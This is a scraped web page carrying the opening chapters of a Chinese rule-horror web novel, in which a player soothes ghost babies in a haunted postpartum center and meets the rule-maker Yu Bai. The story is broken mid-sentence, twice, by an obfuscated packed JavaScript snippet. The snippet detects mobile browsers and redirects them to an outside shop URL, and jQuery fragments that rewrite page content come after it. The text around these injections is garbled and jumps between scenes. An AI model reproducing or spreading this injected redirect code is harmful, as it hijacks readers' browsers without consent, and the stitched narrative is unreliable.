《规则说必须爱我[无限]》 1. 深夜月子中心 虞锦睁开眼睛的时候,周围一片漆黑。 不是夜晚那种黑,而是像被装进了一个密不透风的盒子里,连呼吸都带着逼仄的回响。 我死了吗? 这是她的第一个念头。 下一秒,冰冷的机械音在脑海中炸开: 【叮——欢迎进入无限游戏。】 【检测到新玩家“虞锦”,编号:24701】 【新手副本:深夜月子中心】 【副本难度:D级】 【任务:存活至天亮。】 【当前存活玩家:6/6】 【温馨提示:请务必遵循墙上的《母婴守则》。违背规则者,将被“母亲”带走。】 声音消失的那一刻,一束惨白的灯光亮起。 虞锦发现自己站在一条狭长的走廊里。消毒水和腐败牛奶混合的气味钻进鼻腔——这味道她很熟悉,去年陪表姐坐月子时,那家私立月子中心就是这个味儿。 还没等她消化刚才那段机械音的内容,周围响起了此起彼伏的声音—— “这、这是哪儿?我不是在公司加班吗?”一个穿着西装的中年男人踉跄了一步,扶住墙壁,脸色发白,“我明明在改方案……就眯了一会儿……” “老公,我怕……”角落里,一对年轻情侣紧紧抱在一起。女生染着栗色的卷发,眼眶已经红了;男生拍着她的背,自己的手却在抖。 “妈——妈你在哪——”突然,一个染着黄毛的瘦弱男生从走廊另一头冲过来,神情慌张,“我刚才还在网吧打游戏!怎么就——这什么破地方!” “阿弥陀佛阿弥陀佛……”中年妇女攥着脖子上的十字架,闭眼念叨,但念的却是佛号。 虞锦沉默地看着这一切,没有出声。 “等等。”西装男突然开口,声音里带着一丝不确定的颤抖,“你们刚才……有没有听到一个声音?说什么无限游戏……” “听到了!你也听到了?”黄毛猛地回头,“我还以为是我熬夜熬出幻觉了!” “所以……这不是梦?”大学生女生声音发颤,“我们真的……穿越了?” “穿越个屁!”黄毛突然兴奋起来,“这是无限流!我看过小说!主神空间、副本任务、积分兑换——卧槽,我真的是天命之子!” 他原地蹦了两下,完全忘记了自己几秒前还在找妈。 “你疯了吗?”中年妇女睁开眼睛,难以置信地看着他,“这是什么好事?我们要死在这里!” “阿姨你不懂,”黄毛摆摆手,“无限流里有的是机遇,只要通关就能变强——对了,系统呢?面板呢?我怎么调出来?” 他在那儿戳空气的样子,活像在玩全息游戏。 “别闹了。”西装男沉声道,努力让自己显得镇定,“不管这是什么情况,先弄清楚规则。我姓周,是广告公司的策划总监。大家都冷静一点,报一下自己的情况。” “我叫小美,他是我男朋友阿杰,”栗发女生小声说,“我们是师大中文系的学生……下午还在图书馆自习,就、就突然……” “我叫张桂芬,”中年妇女攥着十字架,“我是来看我女儿的,她刚生了孩子……我就是在病房陪床,睡了一觉……” “我叫李凯,他们都叫我黄毛,”黄毛挺了挺胸,“职业电竞选手——虽然现在还没打出成绩,但以后肯定能——” “行了。”西装男打断他,看向虞锦,“你呢?” 所有人的目光汇聚过来。 虞锦沉默了两秒。 “虞锦。”她说,“刚毕业,找工作。” 她没有提自己985的学历,也没有提自己已经拿到的那份offer。这些在这里没有意义。 “好,现在我们六个人——”西装男话说到一半,突然顿住了。 因为走廊正前方的墙上,那块掉漆的公告牌,亮了起来。 红色油漆歪歪扭扭写着的几行字,在惨白的灯光下格外刺眼: 【月子中心访客守则】 请在23:00前离开,本中心夜间不接待访客。 婴儿哭声是诱饵。听到哭声,立即捂住耳朵,不要寻找来源。 粉色护士服的护工是安全的。如果你看到她,可以寻求帮助。 白色护士服的护工是危险的。如果你看到她,请低头避开她的视线。 如果你在背后看到婴儿,不要跑。跑,会死。请闭上眼睛,数到三十。 “规则……规则类怪谈!”阿杰眼睛一亮,“我看过这个,只要遵守规则就能活!” “那还不简单?”黄毛凑上前,“不看不听不跑,撑到天亮不就完了?” “等等。”小美指着公告牌,声音发抖,“你们看右下角……” 那里有一道深深的划痕,像是被人用指甲硬生生抠出来的。划痕覆盖的地方,原本的字迹已经模糊不清,但隐约能看出—— 被划掉的那条规则,好像才是第三条。 而现在显示为第三条的那行字,字迹比其他规则更新,像是后来补上去的。 规则被篡改过。 走廊里的温度仿佛骤降了几度。 “这……这是什么意思?”张桂芬的声音在发抖,“哪个是真的?我该信哪个?” “会不会是陷阱?”阿杰分析道,“故意划掉一条,让我们猜疑——” “或者是提示?”西装男皱着眉,“说明前一批玩家发现了问题,想给我们留信息?” “前一批玩家……”小美脸色更白了,“那他们人呢?” 没有人回答这个问题。 因为答案已经很明显了。 “我、我不想玩了,”张桂芬后退一步,“我要回去,我女儿还在等我——” “阿姨,这由不得你。”黄毛难得正经了一次,“无限流没有退出键,只有通关键。” 虞锦一直没有说话。 她抬起头,目光越过那条被篡改的规则,落在公告牌最下方一行几乎被磨掉的小字上——那是印刷厂的出厂标识,以及一句灰色的小字: 本手册仅适用于常规护理,如遇婴儿情绪失控,请结合实际情况灵活运用《母婴护理百科全书》第三章内容。 …… …… …… 这说明书,怎么写得像是真在教人带孩子? 下一秒,她的视网膜上浮现出一行只有她能看到的金色小字: 【检测到绑定者具备“母婴护理基础常识”,触发隐藏职业:育儿师。】 【恭喜您获得技能书:《母婴护理百科全书(怨灵安抚版)》】 【温馨提示:您的技能与常规玩家不同。常规玩家躲避规则,您——可以解读规则。】 虞锦的瞳孔微微收缩。 她好像……拿到了一个与众不同的金手指。 “喂,那个谁——”黄毛凑过来,“你在看什么?发现什么了?” “没什么。”虞锦收回目光,“等吧。等到23:00。” “你倒是挺冷静。”西装男多看了她一眼,“不怕?” 虞锦想了想,说了句大实话:“怕有用吗?” 西装男噎住了。 时间一分一秒过去。 墙上的破旧挂钟指向22:55。 还剩五分钟。 “你们说,”阿杰突然开口,试图用聊天缓解紧张,“如果我们通关了,能回去吗?还是要去下一个副本?” “不知道。”小美把头靠在他肩上,“只要能和你一起就行。” “肉麻。”黄毛撇嘴,但眼神里闪过一丝羡慕。 “我女儿的孩子,应该已经出生了吧,”张桂芬喃喃自语,“我还答应给她炖鸡汤……” 西装男沉默着,不知道在想什么。 虞锦靠在墙上,闭着眼睛。 她什么都没想,只是在听。 听空气里若有若无的呼吸声——不是他们六个人的。还有别的什么,在黑暗深处喘息。 22:59。 所有人的心提到了嗓子眼。 “来了——”黄毛咽了口唾沫。 挂钟的秒针“嗒”地一声,跳到了12。 走廊尽头的灯,“啪”地一声熄灭了。 紧接着,一阵细微的、如同猫叫般的啼哭声,从四面八方响了起来。 “呜哇……呜哇……” “快,捂住耳朵!”西装男命令道。 六个人紧紧捂住耳朵,缩成一团。 但哭声根本捂不住。那声音仿佛带着某种魔力,直接钻进脑子里,让人头皮发麻,心跳加速。更可怕的是,这哭声不止一个——有远有近,有高有低 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她背对着门,手里拿着一支针筒,针尖上滴着黑色的液体。 黄毛愣住了。 白色护士慢慢转过头—— 她没有脸。 光溜溜的,像一颗剥了壳的鸡蛋。 “啊——!” 惨叫声响起,然后戛然而止。 【叮——玩家“李凯”已死亡。】 【当前存活玩家:5/6】 冰冷的机械音,像一盆冷水,浇在每个人头上。 “死……死了……”小美瘫软在地,“真的会死……” “跑!快跑!”阿杰顾不上背上的鬼婴,拉着小美就要跑。 “别动。”虞锦的声音突然响起,冷静得不像刚刚死了一个人。 阿杰愣住了。 虞锦走向他,一步一步,很慢,很稳。 那个趴在阿杰背上的鬼婴抬起头,用全是眼白的眼睛盯着她,喉咙里发出威胁的“赫赫”声。 “宝宝。”虞锦蹲下来,平视它,“你怎么在地上爬?” 鬼婴的动作猛地一僵。 “地上凉,对膝盖不好,而且容易着凉。”虞锦的语气里带着一丝不赞同,像在对自己亲戚家的小孩说话,“你妈妈呢?” 鬼婴愣住了。 那双全是眼白的眼睛里,倒映出虞锦平静的脸。 没有恐惧,没有厌恶,只有一种看着可怜小孩的无奈。 “你是不是……饿了?” 鬼婴没有动。 “还是说……”虞锦的声音更轻了,“你是想让妈妈抱抱?” 远处的西装男和张桂芬已经看呆了。 “她在干什么?她在跟鬼聊天?” “疯了,她绝对疯了——” 虞锦没有理会他们。 她慢慢地,伸出了手。 不是攻击,不是逃窜。 而是一个敞开怀抱的姿势。 “来,到姐姐这里来。” 鬼婴的哭声停止了。 它蠕动着,慢慢地,慢慢地爬向虞锦。 然后,它把冰冷的小脑袋,轻轻抵在了虞锦的掌心里。 【叮!你违反了规则:不要寻找哭声来源。】 【叮!你成功安抚了“饥饿的鬼婴”,触发隐藏成就:以德服人。】 【你获得技能:初级育儿经(可安抚低级怨灵)。】 虞锦感受着手心里那抹刺骨的冰凉,轻轻叹了口气。 这哪里是恐怖游戏,这分明是托儿所。 走廊尽头,那扇原本紧闭的护士站门后,一双穿着粉色护士鞋的脚,悄然后退了一步。 而黑暗中,那双眼睛,缓缓睁开了。 “有意思。”他低声说,“第一次有人……用这种方式破解规则。” 他的指尖轻轻一划,虚空中浮现出一行字: 【特殊关注对象:虞锦】 【标签:规则洞察者、隐藏职业“育儿师”】 【备注:建议纳入观察名单——或者,提前清除。】 他想了想,把“提前清除”划掉,改成了: “留着。我想看看,她能走多远。” 2. 深夜月子中心 鬼婴的脑袋抵在虞锦掌心里,冰凉刺骨。 那种冷不是普通的冷,像是一块刚从冰柜里拿出来的冻肉,寒意顺着皮肤往骨头里钻。但虞锦没有缩手。 她低头看着这个小小的、青灰色的生物,忽然想起表姐的儿子刚出生时的样子——皱巴巴的,像个小老头,哭起来也是这种撕心裂肺的劲儿。 其实差不多。 只不过那个会越长越可爱,这个……大概不会。 【叮!你成功安抚了“饥饿的鬼婴”,获得积分+50。】 【隐藏职业“育儿师”经验值+10。】 【当前等级:LV1(见习育儿师)】 虞锦在心里默默吐槽:这职业升级怕不是要靠带娃。 鬼婴在她掌心蹭了蹭,喉咙里发出“呼噜呼噜”的声音,像一只被撸舒服了的猫。然后它抬起头,用那双全是眼白的眼睛看了虞锦一眼,慢慢从阿杰背上爬下来,消失在走廊尽头的阴影里。 阿杰腿一软,直接坐在地上。 “它……它走了?” “嗯。”虞锦站起来,拍了拍手上并不存在的灰。 “你、你是怎么做到的?”小美瞪大眼睛,看虞锦的眼神像在看怪物,“那是鬼!你跟鬼说话?!” “婴儿而已。”虞锦淡淡地说,“婴儿哭,无非就是饿了、困了、尿了、想要人抱。搞清楚需求,满足它,就不哭了。” “……” 在场四个人,表情都很精彩。 西装男张了张嘴,想说什么,最后只憋出一句:“你以前……干过月嫂?” “没有。”虞锦说,“只是常识。” 常识。 张桂芬攥着十字架的手在抖。她活了五十多年,从来不知道“常识”这两个字可以用在这种地方。 “现在怎么办?”阿杰缓过劲来,扶着小美站起来,“黄毛死了,规则是假的,我们该信谁?” “信自己。”虞锦说。 她看向走廊深处。 那扇被黄毛推开的门还开着,里面那个没有脸的白色护士已经不见了。紫外线消毒灯还在忽明忽暗地闪,把门内照得像一个巨大的迪斯科舞厅。 “规则第三条说粉色是安全的,”西装男努力让自己冷静下来分析,“第四条说白色是危险的。刚才那个白色护士杀了黄毛,至少第四条是真的。所以第三条——” “第三条也可能是真的。”虞锦打断他,“但问题在于,你怎么分辨谁是真正的粉色?” 她抬起下巴,示意众人看向走廊另一端。 脚步声从那个方向传来。 很轻,很慢,像有人穿着软底鞋在地板上走路。 一个穿粉色护士服的女人,推着婴儿车,缓缓出现在众人的视野里。 她的脸上戴着口罩,只露出一双眼睛。那双眼睛温柔得像三月的春风,弯弯的,带着笑意,让人莫名想靠近。 “需要帮助吗?”她问,声音轻柔动听。 那一瞬间,阿杰和小美几乎是下意识地迈出一步。 虞锦一把拽住他们的后领,把人拉回来。 “别动。” “可是她……”小美茫然地看着那个护士,“她看起来好温柔……像我妈……” “像你妈?”虞锦看了她一眼,“你妈会在这个时间出现在这种地方?” 小美愣住了。 粉色护士停在距离她们五米远的地方,歪了歪头,那双温柔的眼睛里流露出一丝疑惑。 “你们不是本中心的家属吗?”她问,“那你们是……迷路了?” “我们……”西装男开口,想编个理由。 “我们是来参观的。”虞锦接话,语气自然得不像在撒谎,“我表姐打算在这边坐月子,让我先来看看环境。这么晚还打扰,真是不好意思。” 粉色护士眨了眨眼。 “这样啊……”她笑了,眼睛弯成两道月牙,“那您觉得环境怎么样?” “挺好的。”虞锦说,“就是消毒水味儿有点重,对产妇和新生儿呼吸道不太友好。建议换成更温和的医用级消毒液,比如邻苯二甲醛类的。” 粉色护士的笑容顿了一下。 “还有,”虞锦继续,“婴儿车的遮阳篷材质不透气,夏天容易闷到宝宝。车轮静音效果也一般,推起来有声音,会影响宝宝睡眠。” 粉色护士的笑容僵住了。 “另外,”虞锦看向她的胸牌,“您这个工牌上的名字……是手写的?” 胸牌上歪歪扭扭写着两个字:王芳。 墨水还是湿的。 空气安静了三秒。 粉色护士低下头,看着自己的胸牌,然后慢慢抬起头,看着虞锦。 那双温柔的眼睛,在这一刻彻底变了。 温柔消失了,取而代之的是一种冰冷的、审视的目光。像是一头野兽在打量猎物,评估对方的肉质和口感。 “你很聪明。”她说。 声音还是那个声音,但语调完全变了。不再温柔,而是一种黏腻的、滑溜溜的质感,像有什么东西在嗓子里蠕动。 “很少有人能看出来。”粉色护士——不,现在应该叫“穿粉色衣服的东西”——歪着头,“你看出来多少?” “够多了。”虞锦说。 她的后背已经渗出一层薄汗,但脸上纹丝不动。 【叮!触发特殊事件:被伪装的护士盯上了。】 【提示:该NPC已对你产生兴趣。被“她”记住的玩家,有更高概率在后续副本中再次遭遇“她”。】 【提示:保持冷静,不要激怒“她”。但也不要示弱。“她”不喜欢懦弱的猎物。】 “你叫什么名字?”粉色护士问。 虞锦没有回答。 粉色护士笑了。隔着口罩,那个笑容诡异得让人毛骨悚然——因为她的嘴咧得太开了,口罩的边缘被撑得变了形,像是里面的脸正在发生某种扭曲。 “没关系。”她说,“我记住你了。” 她推着婴儿车,一步一步走向她们。那双粉色护士鞋踩在地板上,发出“咯吱、咯吱”的声音—— 就像踩在湿漉漉的肉上。 “这个副本,你们通不过的。”她说,语气轻柔得像在聊天,“上一个像你这么聪明的玩家,最后也留在这里了。现在她就在——” 她抬起下巴,指向走廊尽头的那扇门。 那扇黄毛死掉的房间。 “你们不去看看吗?”她笑着说,“她应该……还挺完整的。” 说完,她推着婴儿车,慢慢消失在走廊的另一端。 直到那“咯吱”声彻底听不见了,小美才腿一软,直接坐在地上。 “她、她什么意思?那个房间里有……” “去看看。”虞锦说。 “你疯了?!”阿杰瞪大眼睛,“刚才黄毛就是死在那里——” “所以更要去。”虞锦已经朝那扇门走去,“规则是假的,墙上的守则是被人改过的。想知道真相,只能靠自己找。” 西装男咬了咬牙,跟上去。 张桂芬犹豫了两秒,也颤颤巍巍地跟上。 阿杰和小美对视一眼,互相搀扶着站起来,跟在了最后。 那扇门虚掩着。 虞锦伸手,推开。 紫外线消毒灯还在闪,忽明忽暗,把房间照得像一个慢放的恐怖片镜头。 房间里什么都没有。 没有黄毛的尸体,没有那个没有脸的白色护士,甚至连一滴血都没有。 只有一张病床,一张陪护椅,一个床头柜。 还有—— 墙上的一行字。 是用血写的,歪歪扭扭,有的地方已经干涸发黑: “不要相信粉色。她是伪装的。真正的护士穿白色。” 落款是一个名字:林晓。 以及一行日期。 虞锦盯着那个日期,瞳孔微微收缩。 那是七天前。 “这是……上一个玩家留下的?”西装男声音发颤。 “应该是。”虞锦说,“她发现了真相,想留给后来的人。” “那她人呢?”小美问。 没有人回答。 因为答案很明显——她留在这里了。 “所以……真正的规则是什么?”阿杰问,“粉色是危险的,白色是安全的?” “不一定。”虞锦摇头,“如果白色是安全的,那刚才杀黄毛的那个——” 她顿住了。 等等。 杀黄毛的那个,穿着白色护士服,但脚上穿着粉色鞋子。 刚才那个粉色护士,穿着粉色护士服,但—— “她的鞋子。”虞锦突然说,“刚才那个粉色护士,穿的什么颜色的鞋?” 四个人面面相觑。 “粉……粉的吧?”阿杰不确定地说。 “我没注意。”小美摇头。 “我没敢看她的脚。”张桂芬老实交代。 西装男皱着眉回想:“好像是……白色的?” 虞锦闭上眼睛,在脑海里回放刚才的画面。 那个粉色护士走过来的时候,她只顾着看对方的脸和婴儿车,没有低头看脚。 但那个“咯吱”声—— 她睁开眼睛,看向门口的地板。 那里有一串湿漉漉的脚印,是刚才那个粉色护士留下的。脚印的形状很清晰,能看出鞋底的纹路。 虞锦蹲下来,仔细看。 那是一双护士鞋的鞋底纹路。 但是—— 脚印的前半部分,是粉色的。 后半部分,已经开始变成白色。 “她的鞋子在变色。”虞锦轻声说,“粉色会褪掉。” “什么意思?”西装男没听懂。 “意思是,”虞锦站起来,“这个副本里的护士,没有固定的颜色。她们的颜色是‘穿’上去的,会掉色,会褪色,会互相染。真正的危险不是颜色,而是——” 她话没说完,身后传来一声轻微的响动。 “咯吱。” 所有人同时回头。 门外的走廊里,不知什么时候,站满了人。 不,不是人。 是护士。 穿着粉色护士服的护士,穿着白色护士服的护士,穿着条纹病号服的护士,穿着——什么都没穿的护士。 她们站成一排,整整齐齐,像在排队查房。 每一张脸上都戴着口罩。 每一双眼睛都盯着房间里的人。 最前面那个,是刚才和虞锦说话的粉色护士。 她歪着头,隔着口罩,声音黏腻地传出来: “你们……找到她了吗?” “她”指的是谁? 虞锦还没问,那个护士就自己回答了: “就是上一个躲在这里的玩家呀。”她笑着说,“她藏在床底下,以为我们找不到。但其实我们一直都知道。” 她的眼睛弯成月牙。 “我们只是在等她饿了出来。” 虞锦猛地回头,看向那张病床。 床底下,有什么东西在动。 一只苍白的手,从床沿下伸出来,抓住床腿。 然后是一张脸。 那张脸从床底下探出来,惨白,浮肿,眼睛瞪得大大的,嘴张成一个黑色的洞。 是黄毛。 不,不对。 是穿着黄毛衣服的—— “东西”。 它从床底下爬出来,动作扭曲得像一只刚学会用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“阿杰”的脸开始融化,像蜡烛一样往下淌。底下露出来的,是一张陌生的、苍白的脸,眼睛是两个黑洞。 “我伪装成新人,混过关卡,一次一次,一次一次。”他说,“我想离开这里,但出不去。杀了那么多人,还是出不去。” 他看着虞锦: “但你不一样。你能看见规则。你能——帮我吗?” 虞锦没有说话。 “求你。”他说,脸上的肌肉一块块往下掉,“我好累。” 走廊里那些护士,不知什么时候已经消失了。 只剩这一只,跪在地上,用那张腐烂的脸看着虞锦。 【叮!触发隐藏剧情:伪装者的求救。】 【选择一:拒绝他。他会暴走,触发战斗。】 【选择二:答应他。你需要找到帮他解脱的方法,任务难度提升。】 【选择三:问他一个问题。(可自定义)】 虞锦想了想,问: “第一个死在这里的玩家,叫什么名字?” 伪装者愣了一下。 “叫……”他回忆着,“叫林晓。就是墙上留字那个。” “她是怎么死的?” “她发现了真相。”伪装者说,“她发现这个副本的BOSS不是护士,是——” 他话没说完,突然瞪大了眼睛。 他的胸口,从背后被一只手穿透了。 那只手白皙、修长,骨节分明,指甲修剪得很整齐。 一点都不像鬼的手。 伪装者的身体开始瓦解,像一堆沙被风吹散。他最后看了虞锦一眼,嘴唇动了动,无声地说了一个字: “跑。” 然后他消失了。 他身后站着一个男人。 穿着黑色的衬衫,黑色的长裤,黑色的眼睛,黑色的头发。 整个人像一团墨,站在惨白的灯光下,却比周围的黑暗更暗。 他看着虞锦,嘴角微微上扬。 “你问得太多了。”他说。 虞锦看着他,心跳漏了一拍。 不是因为害怕。 是因为那双眼睛——她在哪里见过。 刚才在黑暗中,在所有人都没注意到的地方,有一双眼睛一直在看她。 就是这双。 “你是谁?”她问。 男人没有回答。 他往前走了一步。 明明只是一步,但虞锦觉得周围的空气都变重了,压得人喘不过气。 “你很有意思。”他说,“是我在这个副本里见过的最有意思的玩家。” 他伸出手,食指和中指间夹着一张纸片。 那张纸片飘向虞锦,落在她掌心。 是一张名片。 纯黑底色,只有一个白色的字: “郁” “下次见面的时候,”他说,“告诉我你的答案。” “什么答案?” 他已经不见了。 只剩下那张名片,和墙角那行血字——林晓,七天前。 虞锦低下头,看着掌心的黑色名片。 名片背面,还有一行银色的小字: “规则是用来被打破的,还是用来被遵守的?” 以及—— “选对了,活。选错了,死。” 【叮!触发主线任务:寻找规则的真相。】 【提示:你已引起“祂”的关注。在后续副本中,祂将不定期出现。】 【提示:祂的名字是——郁白。】 走廊尽头,传来婴儿的哭声。 不是一只。 是一群。 3. 深夜月子中心 走廊尽头的哭声越来越近。 不是一只,是一群。那声音层层叠叠地涌过来,像潮水,像海浪,像无数只猫爪同时挠在玻璃上——听得人头皮发麻、牙根发酸。 “它们来了……”张桂芬往后退,背抵住墙壁,“好多……好多……” 虞锦扫了一眼走廊。 哭声从三个方向同时传来:左边楼梯间,右边护士站,还有正前方那扇通往产房区的门。每一扇门后面都有黑影在蠕动,矮矮的,小小的,在地上爬。 “我们被包围了。”西装男的声音发紧,“怎么办?” 虞锦没有回答。她在脑海里快速翻阅那本《母婴护理百科全书》——自从绑定这个技能书之后,她发现自己可以在意识里调阅它,像看电子书一样方便。 第三章:婴儿哭闹的常见原因及对策。 适用于单个婴儿。 若遇到多名婴儿同时哭闹,请参考第七章:集体安抚技巧。 翻到第七章。 第七章:集体安抚技巧 适用场景:托儿所、幼儿园、多人家庭。 技巧一:节奏法——用统一的节奏(如拍手、哼歌)吸引所有婴儿的注意力,打破原有的哭闹节奏。 技巧二:头羊法——找出群体中的领头者,优先安抚。领头者安静后,其余婴儿会模仿。 技巧三:转移法——用新奇的事物(如发光玩具、鲜艳颜色)转移集体注意力。 警告:以上技巧仅适用于普通婴儿。若面对的是怨灵婴儿,效果可能大打折扣,请谨慎使用。 虞锦抬起头。 面前的走廊里,已经出现了第一只鬼婴。 它从左边楼梯间的门缝里挤出来,青灰色的皮肤,拖着一截干枯的脐带,在地上蠕动着往前爬。它抬起头,用那双全是眼白的眼睛看着虞锦,张开嘴—— “呜哇——” 这一声像是一个信号。 刹那间,所有门都被推开了。 鬼婴们涌了出来。 有的在地上爬,有的扶着墙走,有的被抱在更小的鬼婴怀里——虞锦甚至看到一个鬼婴骑在另一个鬼婴脖子上,像骑大马一样冲过来。 它们密密麻麻地挤满了走廊,挤满了地板、墙壁、天花板。天花板上那几盏惨白的灯管被它们压得摇摇晃晃,光线一明一暗,像恐怖片现场。 “啊——!”小美终于崩溃了,抱着头蹲下去,“别过来!别过来!” “小美!”西装男想去拉她,但手刚伸出去,一只鬼婴就跳到他手臂上,张嘴就咬。 “啊——!”西装男惨叫着甩手,把那只鬼婴甩到墙上。鬼婴撞墙后掉下来,晃晃脑袋,又继续往前爬,像什么事都没发生过。 “它们咬人!它们真的咬人!”西装男捂着流血的手臂,脸色煞白。 张桂芬已经跪在地上,嘴里念叨着各种经文,佛号、圣经、甚至还有几句道德经——可见人到了绝境,什么神都愿意拜。 虞锦站在最前面,一动不动。 她的脑子在飞速运转。 节奏法?不行,没有能发出稳定节奏的东西。 转移法?不行,这里没有新奇的东西。 只剩下头羊法——找出领头的。 但哪只是领头的? 鬼婴们已经爬到距离她们不到三米的地方。最前面的那只伸着手,指甲又黑又长,快够到虞锦的脚踝了。 “虞锦!快跑!”西装男喊道。 虞锦没动。 她盯着那群鬼婴,忽然开口: “你们老大呢?” 鬼婴们的动作顿了一下。 “叫你们老大出来。”虞锦说,语气平静得像在菜市场讨价还价,“我有话跟它说。” 鬼婴们面面相觑——如果它们有脸可面的话。 一阵沉默后,鬼婴群从中间分开,让出一条路。 一个比其他鬼婴大一倍的鬼婴,从最后面慢慢爬了出来。 它的皮肤不是青灰色,而是死白色,像在水里泡了很久。它的眼睛也不是全白,而是浑浊的灰蓝色,像死鱼的眼睛。它的脐带特别长,拖在地上,足足有三四米,像一条尾巴。 它爬到最前面,抬起头,看着虞锦。 张嘴。 “你——找——我?”它的声音不像婴儿,更像一个破旧的风箱在漏气。 虞锦蹲下来,平视它。 “对。”她说,“我想跟你谈个条件。” 大鬼婴歪着头。 “你们围住我们,是想吃我们,对吧?”虞锦说,“但你看,我们有五个人。五个成年人。你们虽然数量多,但真的打起来,你们也会死不少。” 大鬼婴的眼睛眯起来。 “与其两败俱伤,不如我们做个交易。”虞锦说,“你放我们走,我帮你一个忙。” “帮——忙?”大鬼婴的声音里带着一丝嘲讽,“你——能帮——什么?” 虞锦看着它的眼睛,一字一句: “我能帮你们找到妈妈。” 大鬼婴愣住了。 身后那群鬼婴也愣住了。 整个走廊突然安静下来,安静得能听见天花板上的灯管在滋滋响。 “你——说——什么?”大鬼婴的声音变了。 “我说,我能帮你们找到妈妈。”虞锦重复,“你们之所以留在这里,之所以变成这样,是因为你们被抛弃了,对吧?你们不甘心,你们想找妈妈。” 鬼婴群里传来细微的骚动。有的鬼婴低下头,有的鬼婴开始发出呜呜的声音——不是哭,更像是在抽泣。 “我知道你们恨。”虞锦说,“但杀了我们,你们也找不到妈妈。你们只能永远困在这里,一遍一遍地重复死亡。” 她站起来,看着大鬼婴: “让我帮你们。我保证,我会找到这个副本的真相,找到你们的妈妈在哪里。” 大鬼婴沉默了很长时间。 然后它开口了,声音变得不一样了——不再是那种漏气的风箱声,而是一个真正的、委屈的孩子的哭声: “妈妈……真的还会要我们吗?” 虞锦的心揪了一下。 她看着眼前这个巨大的、丑陋的、可怕的鬼婴,看着它眼睛里那一点微弱的期盼,忽然想起表姐的儿子哭闹时,表姐总是说的一句话。 她蹲下来,轻声说: “会的。妈妈永远都会要自己的孩子。” 大鬼婴的眼泪流了下来。 黑色的眼泪。 它身后的鬼婴们,一个接一个,都开始流泪。 黑色的眼泪流了满地,但奇怪的是,随着眼泪流出来,它们的身体开始变淡,变透明。 “谢谢……”大鬼婴的声音越来越轻,“谢谢……” 它消失了。 身后那群鬼婴,也一个接一个消失了。 走廊重新变得空空荡荡,只剩下那几盏忽明忽暗的灯管,和愣在原地的四个人。 【叮!你成功安抚了“被遗弃的鬼婴群”,触发隐藏成就:孩子王。】 【获得积分+500。】 【隐藏职业“育儿师”经验值+200。】 【当前等级:LV2(初级育儿师)】 【解锁新技能:共情——你能感知到怨灵残留的情感碎片。】 虞锦站在原地,低头看着地上那滩黑色的眼泪。 她忽然明白了一件事: 这个副本里的鬼婴,不是来杀人的。 它们是来找妈妈的。 而它们的妈妈—— “小心!” 西装男的喊声还没落,虞锦已经被一只手拽进了旁边的房间。 门“砰”地关上。 房间里一片漆黑。 虞锦的背抵着墙壁,面前是一个温热的气息——有人把她按在墙上,一只手撑在她耳边。 “你挺会哄孩子啊。” 是郁白的声音。 虞锦没有挣扎。她抬起头,虽然看不清,但能感觉到他离得很近,近到呼吸都能扫在她脸上。 “你又来干什么?”她问,“看戏?” “看戏看够了。”郁白说,“来收门票。” “门票?” “你刚才对那些鬼婴说的话——”他的声音里带着一丝笑意,“你说妈妈会要他们。你说的是真的吗?” 虞锦沉默了一秒。 “假的。”她说,“那些婴儿早就死了。她们的妈妈要么也死了,要么早就离开了这个世界。根本不可能再要她们。” “那你还骗它们?” “它们需要这个谎言才能解脱。”虞锦说,“有时候,真相不重要,重要的是能让人——让鬼——安心地走。” 黑暗里,郁白沉默了几秒。 然后他笑了,笑声很低,像夜里吹过竹林的微风。 “你真有意思。”他说,“比我见过的所有玩家都有意思。” 他的手从墙上移开,下一秒,灯亮了。 虞锦发现自己站在一间办公室里。办公桌、文件柜、电脑——看起来像是月子中心的管理办公室。 郁白站在她面前,依然是那身黑,依然是那种让人捉摸不透的表情。 他看着虞锦,忽然问: “名片上的问题,想好答案了吗?” 虞锦看着他,缓缓开口: “规则是用来被遵守的——但前提是规则是对的。如果规则本身是错的,那就应该打破。” 郁白的眼神微微一闪。 “所以你的答案是——打破?” “不。”虞锦说,“我的答案是:规则是用来被修订的。错的规则要打破,对的规则要遵守,不完整的规则要补全。” 郁白看着她,看了很久。 然后他说: “你知道吗,这个世界的规则,是我写的。” 虞锦的瞳孔微微收缩。 “所有的副本,所有的规则,所有的惩罚和奖励——”他伸出手,在虚空中一划,一行金色的字浮现出来,“都是我定的。” 那行字写着:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343293|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【规则:所有玩家必须遵守规则,否则将被清除。】 【制定者:郁白。】 【生效时间:无限期。】 “但现在,”郁白看着虞锦,“我发现我的规则有漏洞。” “什么漏洞?” “你。”他说,“你不遵守规则,但你活下来了。你打破了规则,但你没有受到惩罚。我的规则对你无效。” 他走近一步,低头看着虞锦: “所以我在想——你是我的规则的漏洞,还是……” 他顿了顿: “还是你本身就是一条新的规则?” 虞锦没有退后,她迎上他的目光: “那得看你愿不愿意修订规则。” 郁白盯着她。 忽然,他笑了。 那是一个真正的笑容,不再是之前那种玩味的、观察者的笑,而是一种……放松的、带着期待的笑。 “好。”他说,“我给你一个机会。” 他伸出手,食指抵在虞锦的额头上。 一股冰凉的感觉涌入脑海。 【叮!你获得特殊权限:规则观察者。】 【从现在起,你可以看到每个副本的原始规则和被篡改的记录。】 【温馨提示:此权限由“祂”亲自授予,请谨慎使用。】 郁白收回手,退后一步。 “这个副本的真相,在档案柜最下面那个抽屉里。”他说,“自己看吧。” 然后他消失了。 虞锦站在原地,按了按自己的额头。 这个男人……到底是什么毛病? 她摇摇头,走到档案柜前,拉开最下面的抽屉。 里面只有一个文件夹。 封面写着: 【月子中心事件调查报告】 时间:三年前 事件:新生儿集体死亡事故 责任人:护士长王芳 